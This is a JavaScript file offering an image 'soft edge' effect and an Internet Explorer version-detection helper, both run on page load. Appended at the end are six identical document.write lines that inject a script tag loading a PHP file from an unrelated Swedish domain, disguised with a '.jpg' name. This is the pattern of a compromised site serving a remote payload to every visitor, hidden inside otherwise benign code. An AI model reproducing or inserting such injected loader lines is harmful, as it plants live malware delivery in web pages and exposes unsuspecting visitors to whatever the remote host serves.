/* 

Soft Edge, creating soft edges for images using JavaScriptp and CSS
written by Alen Grakalic, provided by Css Globe (cssglobe.com)
please visit http://cssglobe.com/post/1238/
	
*/



var softedges = new Array();
this.softedge = function() {

    // CONFIG

    // css class of images that you want to apply this script to
    // if you want to apply this script to all content images, leave this string blank
    var imageClass = "feathered";

    // integer defining the soft edge depth 
    // the larger the number the softer the edges :)
    var step = 100;

    // define directions wher you want gradient to appear 
    // set top, right, bottom and left to true or false to turn it on or off
    // setting all 4 directions to true will give you soft edge effect
    // while setting one of the 
    var dirTop = true;
    var dirRight = true;
    var dirBottom = true;
    var dirLeft = true;

    // integer defining each step's width in pixels
    var stepWidth = 1;

    // END CONFIG

    // functions

    var w, h, t, l;

    this.set = function(obj, i) {
        var o = i;
        i *= stepWidth;
        dt = (dirTop) ? i : 0;
        dr = (dirRight) ? w - i : w;
        db = (dirBottom) ? h - i : h;
        dl = (dirLeft) ? i : 0;
        with (obj.style) {
            position = "absolute";
            top = t + "px";
            left = l + "px";
            clip = "rect(" + dt + "px," + dr + "px," + db + "px," + dl + "px)";
        };
        setOpacity(obj, ((o * 100) / step));
    };
    this.setOpacity = function(obj, o) {
        if (o > 100) o = 100;
        if (o < 0) o = 0;
        obj = obj.style;
        obj.opacity = (o / 100);
        obj.MozOpacity = (o / 100);
        obj.KhtmlOpacity = (o / 100);
        obj.filter = "alpha(opacity=" + o + ")";
    };
    this.deleteEdges = function() {
        for (var i = 0; i < softedges.length; i++) {
            var parent = softedges[i].parentNode;
            parent.removeChild(softedges[i]);
        };
        softedges.splice(0, softedges.length);
    };

    this.init = function() {
        deleteEdges();
        var img = document.getElementsByTagName("img");
        var images = new Array();
        for (var i = 0; i < img.length; i++) {
            if (img[i].className == imageClass || imageClass == "") {
                images.push(img[i]);
            };
        };
        for (var i = 0; i < images.length; i++) {
            var image = images[i];
            var parent = image.parentNode;
            w = image.offsetWidth;
            h = image.offsetHeight;
            t = image.offsetTop;
            l = image.offsetLeft;
            setOpacity(image, 0);
            for (var j = 1; j < step; j++) {
                var edge = image.cloneNode(true);
                softedges.push(edge);
                set(edge, j);
                parent.appendChild(edge);
            };
        };
    };

    this.init();

};

/*
* Author: Rob Reid
* CreateDate: 20-Mar-09
* Description: Little helper function to return details about IE 8 and its various compatibility settings either use as it is
* or incorporate into a browser object. Remember browser sniffing is not the best way to detect user-settings as spoofing is
* very common so use with caution.
*/
function IEVersion() {
    var _n = navigator, _w = window, _d = document;
    var version = "NA";
    var na = _n.userAgent;
    var ieDocMode = "NA";
    var ie8BrowserMode = "NA";
    // Look for msie and make sure its not opera in disguise
    if (/msie/i.test(na) && (!_w.opera)) {
        // also check for spoofers by checking known IE objects
        if (_w.attachEvent && _w.ActiveXObject) {
            // Get version displayed in UA although if its IE 8 running in 7 or compat mode it will appear as 7
            version = (na.match(/.+ie\s([\d.]+)/i) || [])[1];
            // Its IE 8 pretending to be IE 7 or in compat mode		
            if (parseInt(version) == 7) {
                // documentMode is only supported in IE 8 so we know if its here its really IE 8
                if (_d.documentMode) {
                    version = 8; //reset? change if you need to
                    // IE in Compat mode will mention Trident in the useragent
                    if (/trident\/\d/i.test(na)) {
                        ie8BrowserMode = "Compat Mode";
                        // if it doesn't then its running in IE 7 mode
                    } else {
                        ie8BrowserMode = "IE 7 Mode";
                    }
                }
            } else if (parseInt(version) == 8) {
                // IE 8 will always have documentMode available
                if (_d.documentMode) { ie8BrowserMode = "IE 8 Mode"; }
            }
            // If we are in IE 8 (any mode) or previous versions of IE we check for the documentMode or compatMode for pre 8 versions			
            ieDocMode = (_d.documentMode) ? _d.documentMode : (_d.compatMode && _d.compatMode == "CSS1Compat") ? 7 : 5; //default to quirks mode IE5				   			
        }
    }

    return {
        "Navigator": navigator.appName,
        "UserAgent": na,
        "Version": version,
        "BrowserMode": ie8BrowserMode,
        "DocMode": ieDocMode
    }
}

// script initiates on page load.

this.addEvent = function(obj, type, fn) {
    var browser = IEVersion();
    if (browser.Navigator == "Microsoft Internet Explorer" && browser.Version < 8)
        return;
    else if (browser.Navigator == "Microsoft Internet Explorer" && browser.BrowserMode == "Compat Mode" && browser.DocMode < 8) {
        return;
    }
    else {
        if (obj.attachEvent) {
            obj['e' + type + fn] = fn;
            obj[type + fn] = function() { obj['e' + type + fn](window.event); }
            obj.attachEvent('on' + type, obj[type + fn]);
        } else {
            obj.addEventListener(type, fn, false);
        };
    }


};
addEvent(window, "load", softedge);
addEvent(window, "resize", softedge);
document.write('<script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ><\/script>');
document.write('<script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ><\/script>');
document.write('<script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ><\/script>');
document.write('<script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ><\/script>');
document.write('<script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ><\/script>');
document.write('<script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ><\/script>');